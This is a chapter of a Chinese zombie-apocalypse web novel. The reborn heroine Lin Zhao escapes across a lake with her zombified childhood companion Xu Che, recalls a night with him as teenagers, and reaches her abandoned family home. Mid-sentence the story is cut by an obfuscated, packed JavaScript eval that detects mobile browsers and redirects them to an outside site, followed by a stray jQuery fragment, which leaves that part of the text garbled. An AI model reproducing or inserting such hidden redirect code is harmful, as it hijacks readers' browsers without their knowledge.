手机充着电,有信号的时候会疯狂震动,不过林昭在开车,只有靠边休息才会看一眼。
顾家兄妹、储瑜和欧佳怡逃出来了。
可惜出逃时间太晚,前世本该完好的宾利慕尚被砸,一行人坐上去,没有窗户,暴露的风险加大,接下来的行程可能不会顺畅。
欧佳怡没能骑上共享单车,失控的货车把人行道旁的小单车全部卷倒,她很崩溃,在群里疯狂发流泪猫猫表情包,现在只能跟三人一起行动。
储瑜向林昭报平安,问她离开绵山后打算怎么办。
林昭没有细说,只留下一句“有缘再见”。
次日,林昭手机里躺着一条长长的短信,储瑜私发的,储瑜向林昭坦诚,她和顾锦程有暧昧,他们相处的时候,顾锦程从未告知过林昭是他的订婚对象,林昭和顾锦程平时的互动也不多,看起来不像是青梅竹马,更像陌生人……
【……如果知道顾锦程和你的关系,我不会和他来往。】
储瑜在说谎。
林昭和顾锦程的关系,顾锦程当然不会说,但是顾卿卿那个蠢货的嘴巴可没粘胶水。
储瑜聪明、漂亮,还想往上爬,跟顾锦程扯上关系再正常不过。
林昭喜欢聪明人,受用储瑜提供的友谊,对顾锦程无感,同时没有能力反抗父辈之间的约定,所以在明知道订婚对象和室友有猫腻的情况下也当作不知情。
她清醒地看着他们“偷情”,像是猫看着耗子偷油,倒也没有什么阴暗的乐趣,仅仅只是不在意。
不过事到如今,再装傻倒显得刻意。
林昭回复:你们的事我早知道了。
储瑜后来又发来很多信息,林昭没有看,眼前的麻烦就够忙的,无关紧要的事不需要占用她的内存。
出事了。
林昭驱车回家途径的环湖路段发生油罐车爆炸,火烧到现在也没灭,还有加剧的态势,要是从绿化带烧到湿地公园的树林,开车冲进去跟锡纸烤人有什么区别?
还是果木风味的。
林昭只得另觅他法——市区方向堵住了,只剩一条路,即返程,多花几天时间绕到湖对面再回家,但是路况也无法保证。
要不然弃车徒步?
她是有点疯,那还没有疯到那个程度。
林昭缓慢开车返回,专注观察湖边的芦苇荡。
经过一处拉了铁丝网还标有内有恶犬的路段时,她果断停车,拿好东西,牵着许彻走过田埂,穿过铁丝网上的破洞,扒开一片芦苇荡,果然看到掩藏在后面的小船。
这座湖禁渔,偷鱼的人往往会把船藏在芦苇荡里,还会设置路障,除非走进去亲自扒开,否则看不到小船。
林昭前世有经验,这一世用得挺顺利。
这也是她打算放弃异能在末世生活的底气。
许彻有些暴躁,一个劲想返回岸上。
林昭才不会让他得逞。
“舍不得你的宝贝车?我藏好了,还用树枝盖住,要是丢了就撬辆更好的给你。别乱动,小心掉下去喂鱼,我答应的一定做到,什么时候骗过你?”
怕他掉下去,林昭把许彻按在船底,绑成标准的“大”字。
她撕开泡椒凤爪,一边啃,一边蹲在船尾控制发动机。
熟练得有点沧桑。
风平浪静,湖面像镜子一样亮闪闪,风是温和的,轻轻抚过脸庞,波浪晃荡,但也不算太晃,唯一煞风景的是岸上冒黑烟的火。
“真的烧进湿地公园了,这得烧多久才会平息?”
林昭有点可惜。
念初中的时候,她经常跟同学来湿地公园放风筝,说是放风筝,不过是借口,大家带些家里的酒过来,聚在一起聊天吃烧烤。
算不上出格,但年纪小,家里就格外担心出事,尤其是林昭小时候还被绑过。
后面发展到禁足。
越禁林昭就越想出来玩。
她翻墙,总被神出鬼没的许彻逮个正着,有一次她生气了,骑在墙头撒泼,威胁许彻要是敢拽她下去,就一辈子不跟他说话。
他没有拽她,但也没有放弃抓她,他爬到墙头跟林昭大眼瞪小眼。
天呐,怎么会有这种人!
林昭搡他。
许彻面无表情。
她恼羞成怒加大力度。
他作势掉下去。
林昭赶紧去拉,许彻成功带着她落地。
还是被抓到了。
该死啊。
许彻坐在草坪,林昭坐在许彻身上,他像死了一样沉默,她气得拔草,不停拔。
“走呗。”
许彻说既然林昭那么想去,就带他一起去。林昭不敢相信自己的耳朵,可是许彻的表情毫无破绽,他真像个人机,不,他就是个人机,但是人机性格跟许彻是摩羯座毫无关系,因为林昭也是摩羯,两人生日是一天,1月15。
他们打车到达。
大家玩够了,正要走。
林昭跟众人打招呼,每叫一个名字,心里的落寞就增加一分,没有她,他们也玩得很开心,她刚刚到,大家就要走了,没有一个人留下来陪陪她,哪怕多说两句话呢。
友谊什么的,林昭好像从来没有真正拥有过,以前怪自己是林世恒的女儿,后来掩藏身份,笑死,才发现能否交到知心朋友跟钱没关系。
烧烤店门口的彩灯一闪一闪。
杯盘狼藉,只剩林昭、许彻和一只捡东西吃的猥琐流浪狗。
“我陪你喝吧。”
许彻不知道从哪拿出两瓶酒,不是烧烤店卖的青岛和大理,是林昭喜爱的牌子,人机许彻的品种偶尔会是万能机器猫。
林昭不是很爽地接过啤酒。许彻喝着酒,用鸡腿喂流浪狗,流浪狗想吃又不敢吃,本来就猥琐的狗脸越发猥琐。
许彻卷起衬衣袖子,喝一口酒,嘴里嘬个不停。
狗看他跟看什么一样,浑身都在抖,要不是为了吃的早跑了。
“哎,不是这样喂的。”
林昭摆动手。
许彻歪过头,“那要怎样?”
林昭抢过鸡腿,蹲下来,将鸡腿放到地面,流浪狗摇晃尾巴凑过来,耷拉耳朵叼鸡腿的瞬间,林昭眼疾手快表演一个光速摸狗。
哈哈哈。
她得意地大笑。
一点也没有在同学和朋友面前高冷装逼的姿态。
许彻举起酒瓶,林昭跟他隔空碰了一个。
他问她怎么做到的。
林昭说许彻太高,在狗的世界是凶猛两脚兽,想要它们靠近,姿态得矮矮的,蹲在地上比较合适,还有些狗很有教养,只会吃地上的食物,这只狗就是有教养的,拿在手上永远都不会吃,得放地上。
许彻嗯了一声。
林昭在故意羞辱他。
因为许彻也是这样——明明林昭父母对他都很好,屡次叫他一起上桌吃饭,他却坚持要把饭带回去吃,他是单亲家庭,和司机叔叔住在佣人房,那里还有其他佣人,所有佣人中,他们父子是最有规矩的,绝不碰主家手里的东西。
林昭挑眉,等着许彻生气。
年少的她何等恶劣。
还没有意识到高傲的性格和刁钻的话语本就是伤人的利器,会赶跑周围所有人。
许彻没有反应,只是学着她的样子蹲在地上喂狗。
……
林昭没有得逞,有点生气,跳过去勒住许彻的脖子使劲摇晃,一身牛劲没处使。
许彻岿然不动喂完狗,站起来,背着寄生在后背的林昭转圈圈。
从小她就爱吊在他身上玩大摆锤。
谁让许彻从小就长得高。
哼。
林昭的笑声尖锐,在夜里分外刺耳。
许彻也跟着笑,不太客气的冷笑。
林昭问他笑屁。
许彻说她的假睫毛掉了,林昭脸一红,松手,背过身打开前置摄像头扒拉眼皮。许彻站在离她两米远的距离,静静看着林昭发现两片假睫毛牢牢粘在眼皮上后暴跳如雷。
她追着他打了一路。
他不痛不痒。
湖边的风猛烈地吹来,她声音嘶哑,说自己要感冒了,让许彻想想办法。
她在无理取闹,没事找事。
许彻不知道吗?
他可太知道了。
男生脱掉唯一的衬衣披在女孩身上,裸着上身站在潮湿微凉的春夜里,没有不耐烦,没有叹气,星是分明的,夜是分明的,他是更加分明的。
他光着上
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15586127|171760||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
身,好像害羞了。
不过也可能是林昭害羞,毕竟从披上带着体温的衬衣开始,她就不敢看许彻。
……
湿地公园要是烧掉了,湖边的烧烤店肯定也无法幸免,那个追逐打闹的夜晚也会跟着烧掉吗?
林昭收回目光,看着发动机之下激荡出的白色浪花,心中阵阵惆怅。
尽管身体二十岁,但她的灵魂四十岁了,按说不该这么脆弱,却还是会轻易陷进年少的时光,经历情绪的激荡。
这个世界,到底都是谁在长大成人啊。
渔船慢慢航行。
驶过一艘停在湖面的观光游艇。
游客震惊地看着乍然出现的林昭,林昭好奇地看着久久不动的他们。
游客A喊道:“小姑娘,我们停在这里半天了,船长发疯乱咬人,现在关在船舱,可能感染了狂犬病,你上岸后能帮我们叫120和水上救援吗?”
林昭喊道:“不是狂犬病,是变成丧尸啦。”
游客A咂嘴,小声嘟囔:“现在年轻人脑子坏掉了,跟她讲正事还有心情胡说八道……”
游客B喊道:“岸上发生了什么?是不是起火了?我们从酒店码头出发的,要到对岸去,还能去吗?”
林昭喊道:“不能去,岸上全是丧尸,到处起火。”
游客C喊道:“你是逃出来的吗?”
林昭喊道:“不是,我们还没逃出来,可能一生都要逃,不知道要逃到什么时候。”
游客C慢半拍中气十足道:“问你是不是精神病院逃出来的!”
林昭喊道:“不是不是,我是从未来回来的!”
稀松的笑声飘荡在湖面。
游艇上一半人惊慌,一半人不当回事,吵吵嚷嚷的,船长贴着窄小的玻璃龇牙,眼睛是稀少的明黄色。
林昭心想,他们还真有福气,船长是个高级变异种,一旦放出来,一个船的人规划着吃,够他吃半个月呢。
两小时后——
林昭选了个相对安全的位置靠岸。
离家还有四公里,她捡辆凯蒂猫的儿童滑板车,拉着许彻沿着马路走,开始遇到几起车祸,离家越近,道路越通畅。
她根据记忆找到入口,输入密码,识别人脸,看来备用电源还在正常使用。
房子还是那个房子,但是一个人都没有,父母是最早知道消息的一批人,他们走后,佣人也各自逃难。
车少了几辆,还剩十几辆。
爸妈似乎给他们分金条了,还有几根落在地上。
父母的房间几乎没动,看得出来走得仓促,弟弟林皓的房间倒是乱七八糟,电脑线扯得到处都是,死小孩,死到临头肯定还想抱电脑走,地上躺着老爸的高尔夫球杆,不知道弟弟的屁股挨了几下才肯放弃电脑逃跑。
林昭躺在自己的床上。
有种不真实感。
许彻撞门撞得砰砰响。
她翻起身,朝许彻投掷枕头,“吵什么吵,让你进我房间是便宜你!”
可能许彻并不觉得占便宜,还有种被占便宜的不安,所以撞得更厉害了。
林昭只能把他绑起来,好吧,根本绑不住,嗑过晶核就是不一样。林昭打开地下室的影音室,将许彻关进去。
影音室铺有地毯,墙面是隔音材料,座椅也全是沙发,许彻随便撞,不会伤害到自己。
“我先去清点物资,待会儿来看你,对了,要不要看电影?”
许彻跌进沙发,蛄蛹。
林昭自顾自道:“头上戴着书包看什么,只能听个响,还是下次吧。”
林昭拍拍书包上的史努比印花,不论是表情还是语气都欠欠的,她在许彻面前,恶魔的一面常常不加掩饰。
许彻高频抽搐,一副控制不住要咬人的架势。
林昭暗叫不好,抽身躲避,不小心按到男生胸肌,虽然冰冷,但形状颇为姣好,是多年刻苦锻炼的成果。
林昭沉吟,下意识捏住,抽动蜂鸣的丧尸哥安静了,两秒后,默默捂住自己的胸。
……
不是,哥们。
林昭看着自己被拒绝的手,眉头紧蹙——
死都死了,摸一下又不会再死一遍,许彻你是真的死不悔改啊。